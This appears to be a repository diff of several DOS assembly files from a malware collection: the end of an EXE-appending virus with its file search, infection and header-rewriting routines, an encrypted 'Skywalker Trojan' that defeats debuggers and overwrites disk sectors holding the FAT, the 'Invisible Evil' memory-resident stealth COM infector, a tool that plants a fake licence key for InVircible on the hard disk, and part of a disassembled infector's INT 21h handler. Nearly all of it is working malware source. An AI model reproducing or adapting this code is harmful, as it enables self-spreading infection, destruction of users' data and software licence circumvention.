pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus

@@ -0,0 +1,82 @@
; INTRVIEW.ASM -- Skywalker Trojan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Serpico
virus_type equ 3 ; Trojan Horse
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0010h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
mov ax,04C00h ; DOS terminate function
int 021h
main endp
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Please wait, interview is load"
db "ing. You've been infected with"
db "the Skywalker Trojan. HaHaHa"
db "YoDa - AlLiAnCe"
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,331 @@
; Virusname : Invisible Evil
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a memory resident, stealth, infector of com files.
; It check for two nops a bit after the jmp to see if it's already
; infected or not, and to stealth it, it'll check the seconds.
; No destructive routine included in this version, perhaps to come(?)
; Um!.. well, enjoy Insane Reality issue #4!
; I think that's all for now, outa here..
;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; INVISIBLE EVIL!
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
virus segment
assume cs:virus,ds:virus,es:nothing
org 100h
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
vstart equ $
call code_start ; call codie_startie
code_start:
pop si
sub si,offset code_start ; so we can use the lea command etc
jmp code_continue
db ' Our past is ' ; Lil' poem (?)
db ' our future! ' ; of mine
code_continue:
mov bp,si ; Now, put bp in si instead so bp's used
jmp load ; Jmp and go resident
old_21 dd ? ; Old int21 interrupt saved here
new_21: ; Our own, new one int21
cmp ax,4b00h ; Is a file being executed
je exec1 ; If so, damn it! INFECT!
dir_thang:
cmp ah,11h ; Find first
je hide_size ; Use stealth
cmp ah,12h ; Find next
je hide_size ; Use stealth
cmp ax,3030h ; Another copy trying to go resident?
jne do_old ; If not, do the old int21 thang
mov bx,3030h ; Show that we're already resident
do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
exec1: jmp exec ; Try to infect
do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
ret ; But return back
hide_size:
pushf
push cs
call do_dir ; get FCB (current)
cmp al,00h ; Is DIR being used (?)
jz undocumented_get_FCB ; If so, go on
jmp dir_error ; If not, get the fuck
; outa this place man
undocumented_get_FCB:
push ax ; push
push bx ; push
push es ; push (gaak! no pops)
mov ah,51h ; get FCB (location)
int 21h ; figure it out
mov es,bx ; get FCB (info)
cmp bx,es:[16h] ; check it
je fix_it_up ; if so, move on
jmp not_inf
fix_it_up:
mov bx,dx ; fixup
mov al,[bx] ; some
push ax ; shit
mov ah,2fh ; get the DTA
int 21h ; yeah, you do that
pop ax ; atlast, pop me babe
inc al ; check FCB (extended)
jz add_it ; ok, move on
jmp normal_fcb ; jmp normal_fcb
add_it:
add bx,7h ; yes, add it.. go ahead
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ; are the file's seconds
jz go_on_and_do_it_strong ; equal to "2"?
jmp not_inf ; If so, outa here
go_on_and_do_it_strong:
and byte ptr es:[bx+17h],0e0h ; subtract the size
sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
sbb es:[bx+1fh],ax ; yet another stealthed
not_inf:pop es ; we will..
pop bx ; we will..
pop ax ; pop you! pop you!
dir_error:
iret ; return to the one who
; called this thang
exec:
push ax ; push the stuff needed
push bx ; (as normally)
push cx
push dx
push di
push si
push ds
push es
infect:
mov ax,3d02h ; Open the file being
int 21h ; executed do that!
jc fuckitall ; If error, get the fuck
; out!
xchg ax,bx ; or.. mov bx,ax
push ds ; pusha
push cs ; push
pop ds ; pop!
mov ah,3fh ; Read from file
mov dx,(buffer-vstart) ; put in our buffer
mov cx,5h ; how much to read
int 21h ; do that
jc fuckitall ; If error, fuck it!
cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
je fuckitall ; If so, outa here..
cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
je fuckitall ; (can be MZ or ZM)
; If so, outa here
cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
je fuckitall ; infect? If so,
; outa here
jmp next ; Move on..
fuckitall:
jmp homey2 ; Something screwed,
; outa dis thang..
next:
mov ax,5700h ; Get date/time
int 21h ; int me baaaabe!
mov word ptr cs:[(old_time-vstart)],cx ; save time
mov word ptr cs:[(old_date-vstart)],dx ; save date
mov ax,4202h ; ftpr to end
mov cx,0 ; get ftpr (filesize)
cwd ; or.. xor dx,dx
int 21h
jc fuckitall ; if error, fuck it!
mov cx,ax ; mov cx to ax
sub cx,3 ; for the jmp
jmp save_rest_of_len
db ' [INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot '
save_rest_of_len:
mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
mov ah,40h ; write to file
mov cx,(vend-vstart) ; the virus
cwd ; from start
int 21h ; atlast the fun part
jnc fpointer ; no error(s), go on
jc homey ; fuck it!
fpointer:
mov ax,4200h ; move file pointer
mov cx,0 ; to the beginning
cwd
int 21h
mov ah,40h ; write the JMP the
mov cx, 5 ; the file (5 bytes)
mov dx,(jump_add-vstart) ; offset jump thang
int 21h
jc homey ; if error, fuck it!
mov ax,5701h ; restore old
mov word ptr cx,cs:[(old_time-vstart)] ; date/time
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H ; chance the file's
inc cl ; seconds to "2" for
int 21h ; stealth "marker"
mov ah,3eh ; close thisone
int 21h
homey: jmp homey2 ; outa here
db ' Dedicated to all the victims.. ' ; dedication note
homey2: pop ds ; pop
pop es ; pop
pop ds ; pop
pop si ; pop
pop di ; pop
pop dx ; pop
pop cx ; pop
pop bx ; pop
pop ax ; new virus-name
; popcorn virus?
jmp dword ptr cs:[(old_21-vstart)] ; heading for old
; int21
old_date dw 0 ; date/time
old_time dw 0 ; saving place
buffer: db 0cdh,20h,00 ; our lil' buffer
buffer2 db 0,0 ; plus these two
jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
; of org. jmp
exit2: jmp exit ; get outa here
load: mov ax,3030h ; Are we already in
int 21h ; this users memory
cmp bx,3030h ; well, check it!
je exit2 ; if so, outa here
dec_here:
push cs ; push
pop ds ; pop
mov ah,4ah ; req. very much mem
mov bx,0ffffh ; ret's largest size
int 21h
mov ah,4ah ; ok, so now we
sub bx,(vend-vstart+15)/16+1 ; subtract the size of
jnc intme ; of our virus. If no
jmp exit2 ; error go on, else
; fuck it
intme:
int 21h ; int me! int me!
mov ah,48h
mov bx,(vend-vstart+15)/16 ; req. last pages
int 21h ; allocate to the virus
jnc decme ; no error, go on
jmp exit2 ; les get outa dis place
decme:
dec ax ; oh? a dec, no push/pop
; how glad i am :)
push es ; blurk! yet another push
mov es,ax ; set es to ax
jmp dos_own ; carry on comrade
db ' Greets to B-real!/IR ' ; greetings to our
; latest member, a
dos_own: ; friend of mine
mov byte ptr es:[0],'Z' ; this memory will
mov word ptr es:[1],8 ; have DOS as it's
; owner
inc ax ; opposite of dec, eh?
; yet another new-commer
lea si,[bp+offset vstart] ; copy to memory
mov di,0 ; (new block) xor di,di
jmp copy_rest ; go on
db ' It''s like this and like that and like thisena ' ; lil'
copy_rest:
mov es,ax ; es as ax
mov cx,(vend-vstart+5)/2 ; the whole thing
cld ; bytes, clr direction
rep movsw
jmp make_res ; now, make it resident
db ' It''s like that and like this and like thatena '; thang
make_res:
xor ax,ax ; atlast!
mov ds,ax ; put all shit to memory
push ds ; don't push me around :)
lds ax,ds:[21h*4] ; vectorswapping
jmp swap_sect ; (manually!)
db ' It''s like this.. ' ; by Snoop 'n Dre.
swap_sect:
mov word ptr es:[old_21-vstart],ax ; where's our old int21
mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
pop ds
mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
mov ds:[21h*4+2],es ; instead of old21
push cs ; no cmt.
pop ds ; to much 'bout 'em
; today, eh? :)
exit:
push cs ; no cmt.
pop es ; see above
mov cx,5 ; five bytes
jmp copyback ; keep on moving..
db ' Love to Lisa! ' ; To the girl i love
copyback:
mov si,offset buffer ; copy back org. jmp
add si,bp ; and run the org. proggy
jmp movdi_it ; yeah, les do that
db ' All i ever wanted.. ' ; Lisa, the one and only
movdi_it:
mov di,100h ; di = 100h
repne movsb
jmp lastshit ; atlast, soon the end
db ' All i ever asked for.. ' ; Love in eternality!
lastshit:
mov bp,100h ; bp equ 100h
jmp bp ; jmp to bp (SOF)
vend equ $ ; end of virus
virus ends
end start
@@ -0,0 +1,86 @@
;
; InVircible v6.02 Registrator, (c)1995 ûirogen
;
; This little utility simply installs InVircible's registration key onto
; your hard drive. It is located on the last sector of the first cylinder
; and is designated by the word 48A5h residing at the end of the sector.
; After installing this, all current and future copies of InVircible installed
; on that hard drive will be registered, or licenced rather.
;
segment cseg
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
cr equ 0ah
lf equ 0dh
org 100h
start:
lea dx,intro ; display intro / prompt
call disp
get_y_n:
mov ah,8 ; make sure the user wants to
int 21h
cmp al,'Y'
jz yes
cmp al,'y'
jz yes
cmp al,'N'
jz no
cmp al,'n'
jz no
jmp get_y_n
yes:
call disp_al
mov dh,1
mov cx,1
call read_sec ; read boot sector
mov dh,0
mov cx,word ptr sec_buf[18h] ; get cylinder per sector
call read_sec ; read last sector of cyl 0
mov word ptr sec_buf[1FEh],0A548h ; throw word
mov ax,0301h ; write new sector to disk
int 13h
lea dx,done_msg
jmp exit
no:
call disp_al
lea dx,abort_msg
exit:
call disp
ret
read_sec:
mov ax,0201h
lea bx,sec_buf
mov dl,80h
int 13h
ret
disp:
mov ah,9
int 21h
ret
disp_al:
mov dl,al
mov ah,2
int 21h
ret
intro:
db cr,lf,' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'
db cr,lf,' ³ InVircible v6.02 Registrator, (c)1995 ûirogen [NuKE] ³'
db cr,lf,' ³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄij'
db cr,lf,' ³ Please distribute all over the known universe ³'
db cr,lf,' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'
db cr,lf,' WARNING: This software is about to make changes to the last sector'
db cr,lf,' of cylinfer 0, head 0 of your hard drive. It is unlikely that any'
db cr,lf,' problems will arise, but be cautious.'
db cr,lf,' Do you wish to continue [Y/N]? $'
done_msg db cr,lf,cr,lf, ' InVircible Registrator Complete!$'
abort_msg db cr,lf,cr,lf, ' InVircible Registrator Aborted By User!$'
sec_buf:
cseg ends
end start
File diff suppressed because it is too large Load Diff
+563
View File
@@ -0,0 +1,563 @@
; INVOL-A INT 21h handler Aug 26, 1992
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0014 3d 00 4b cmp ax,4b00
0b59:0017 74 03 jz 001c
0b59:0019 e9 7b 02 jmp ORIGINAL_21h (0297)
0b59:001c 50 push ax
0b59:001d 53 push bx
0b59:001e 52 push dx
0b59:001f 1e push ds
0b59:0020 06 push es
0b59:0021 b8 02 3d mov ax,3d02
0b59:0024 cd 21 int 21
0b59:0026 73 03 jae 002b
0b59:0028 e9 67 02 jmp 0292
0b59:002b 8b d8 mov bx,ax
0b59:002d 8c c8 mov ax,cs
0b59:002f 8e d8 mov ds,ax
0b59:0031 b4 3f mov ah,3f
0b59:0033 b9 18 00 mov cx,0018
0b59:0036 ba 70 05 mov dx,0570
0b59:0039 cd 21 int 21
0b59:003b 72 4d jb 008a
0b59:003d 81 3e 70 05 4d
5a cmp word [0570],5a4d
0b59:0043 75 45 jnz 008a
0b59:0045 b4 00 mov ah,00
